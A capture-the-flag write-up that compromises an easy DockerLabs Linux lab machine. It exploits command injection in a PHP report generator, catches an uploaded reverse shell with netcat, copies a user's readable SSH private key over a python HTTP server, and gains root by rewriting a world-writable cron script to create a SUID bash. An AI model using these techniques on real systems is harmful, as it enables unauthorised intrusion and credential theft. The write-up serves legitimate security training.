DockerLabs — https://dockerlabs.es/
- Platform: DockerLabs
- OS: Linux
- Difficulty: Easy
Enumeration
Scan
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 f5:4f:86:a5:d6:14:16:67:8a:8e:b6:b6:4a:1d:e7:1f (ECDSA)
|_ 256 e6:86:46:85:03:d2:99:70:99:aa:70:53:40:5d:90:60 (ED25519)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Generador de Reportes - Centro de Operaciones
SSH (22)
Password basedauthentication
ssh root@172.17.0.2
The authenticity of host '172.17.0.2 (172.17.0.2)' can't be established.
ED25519 key fingerprint is: SHA256:50SBUCdnSFCj03op6yJ3vYTdgMcXC07aE2LSeOkKaO8
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.17.0.2' (ED25519) to the list of known hosts.
root@172.17.0.2's password:
HTTP (80)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Generador de Reportes - Centro de Operaciones
Dirsearch
[19:48:58] 301 - 306B - /old -> http://172.17.0.2/old/
[19:48:58] 200 - 1KB - /old/
[19:49:07] 403 - 275B - /server-status
[19:49:07] 403 - 275B - /server-status/
[19:49:15] 200 - 924B - /upload.html
[19:49:15] 200 - 33B - /upload.php
Links from Index code
<li><a href="upload.html">Subir archivos</a></li>
<form action="index.php" method="post">
<script src="scripts.js"></script>
index.php
- It allows to generate reports using as input:

- Date does not need to be in YYYY-MM-DD format
- A new file should be in
/reportes/reporte_1769434426.txt
❯ curl http://172.17.0.2/reportes/reporte_1769434426.txt
Archivo de reporte: /var/www/html/reportes/reporte_1769434426.txt
Nombre: testing1
Fecha: testing2
upload.html
- It should allow to upload a file.
- Let’s try with a simple .png
❯ locate sample.png | tail -1
/var/lib/inetsim/http/fakefiles/sample.png
❯ cp /var/lib/inetsim/http/fakefiles/sample.png .
- A message box says the upload was successful

- But Burp Suite shows a different result:

- The message says:
Warning: move_uploaded_file(/var/www/html/uploads/sample.png): Failed to open stream: No such file or directory in /var/www/html/upload.php on line 27
Warning: move_uploaded_file(): Unable to move "/tmp/phpnwFPKj" to "/var/www/html/uploads/sample.png" in /var/www/html/upload.php on line 27
Error al mover el archivo.
/old
- Looks like the main page but still in development
- It has no styles
- It has no option to upload file

Exploitation
upload.html (Revisited)
- Vulnerable to command injection. I used for the test the following inputs:
- Output:
Reporte: reporte_1769435475.txtArchivo de reporte: /var/www/html/reportes/reporte_1769435475.txt
Nombre: id
Fecha: \
uid=33(www-data) gid=33(www-data) groups=33(www-data)
- After checking some reverse shell that did not work, we upload a reverse shell
- Reverse shell works thorugh http://172.17.0.2/reportes/shell.php
❯ nc -nvlp 1337
listening on [any] 1337 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 59664
Linux c493f0472ff7 6.18.5+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.18.5-1kali1 (2026-01-19) x86_64 x86_64 x86_64 GNU/Linux
15:23:32 up 1:17, 0 user, load average: 3.61, 2.61, 2.47
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
Access as www-data
www-data@c493f0472ff7:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Post-Exploitation
Samara id_rsa readable
www-data@c493f0472ff7:/home/samara$ ls -lRa /home
[...]
/home/samara/.ssh:
total 20
drwxr-xr-x 2 samara samara 4096 Aug 20 2024 .
drwxr-xr-x 1 samara samara 4096 Jan 26 14:27 ..
-rw-r--r-- 1 root root 745 Aug 20 2024 authorized_keys
-rw-r--r-- 1 samara samara 3389 Aug 20 2024 id_rsa
-rw-r--r-- 1 samara samara 745 Aug 20 2024 id_rsa.pub
Privesc to Samara
Getting id_rsa key
www-data@c493f0472ff7:/home/samara/.ssh$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
❯ wget 172.17.0.2:8000/id_rsa
Prepended http:// to '172.17.0.2:8000/id_rsa'
--2026-01-26 15:45:52-- http://172.17.0.2:8000/id_rsa
Conectando con 172.17.0.2:8000... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 3389 (3,3K) [application/octet-stream]
Grabando a: «id_rsa»
id_rsa 100%[===================================================================>] 3,31K --.-KB/s en 0s
2026-01-26 15:45:52 (198 MB/s) - «id_rsa» guardado [3389/3389]
❯ chmod 600 id_rsa
SSH Access as Samara (id_rsa)
❯ ssh -i id_rsa samara@172.17.0.2
Welcome to Ubuntu 24.04 LTS (GNU/Linux 6.18.5+kali-amd64 x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Last login: Tue Aug 20 19:54:15 2024 from 172.17.0.1
samara@c493f0472ff7:~$ id
uid=1001(samara) gid=1001(samara) groups=1001(samara),100(users)
Privesc to root
pspyidentify this cron task
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
chmod u+x pspy64
./pspy64
[...]
2026/01/26 15:57:45 CMD: UID=0 PID=1930463 | /bin/bash /usr/local/bin/echo.sh
/usr/local/bin/echo.sh
- Permissions
samara@c493f0472ff7:/tmp$ ls -l /usr/local/bin/echo.sh
-rwxrw-rw- 1 root root 82 Aug 20 2024 /usr/local/bin/echo.sh
- Content
samara@c493f0472ff7:/tmp$ cat /usr/local/bin/echo.sh
#!/bin/bash
echo "No tienes permitido estar aqui :(." > /home/samara/message.txt
- Backup before changes
cp /usr/local/bin/echo.sh /usr/local/bin/echo.sh.bkp
- New content
samara@c493f0472ff7:/tmp$ cat /usr/local/bin/echo.sh
#!/bin/bash
cp /bin/bash /tmp/.bash
chmod +4000 /tmp/.bash
/tmp/.bash (SUID)
samara@c493f0472ff7:/tmp$ ls -l .bash
-rwsr-xr-x 1 root root 1446024 Jan 26 16:05 .bash
Root access
samara@c493f0472ff7:/tmp$ ./.bash -p
.bash-5.2# id
uid=1001(samara) gid=1001(samara) euid=0(root) groups=1001(samara),100(users)
.bash-5.2# python3 -c "import os;os.setuid(0);os.setgid(0);os.system('/bin/bash')"
root@c493f0472ff7:/tmp# id
uid=0(root) gid=0(root) groups=0(root),100(users),1001(samara)
/root directory content
root@c493f0472ff7:/root# ls -la
total 28
drwx------ 1 root root 4096 Aug 20 2024 .
drwxr-xr-x 1 root root 4096 Jan 26 14:27 ..
-rw-r--r-- 1 root root 3106 Apr 22 2024 .bashrc
drwxr-xr-x 3 root root 4096 Aug 20 2024 .local
-rw-r--r-- 1 root root 161 Apr 22 2024 .profile
drwx------ 2 root root 4096 Aug 20 2024 .ssh
-rw-r--r-- 1 root root 33 Aug 20 2024 root.txt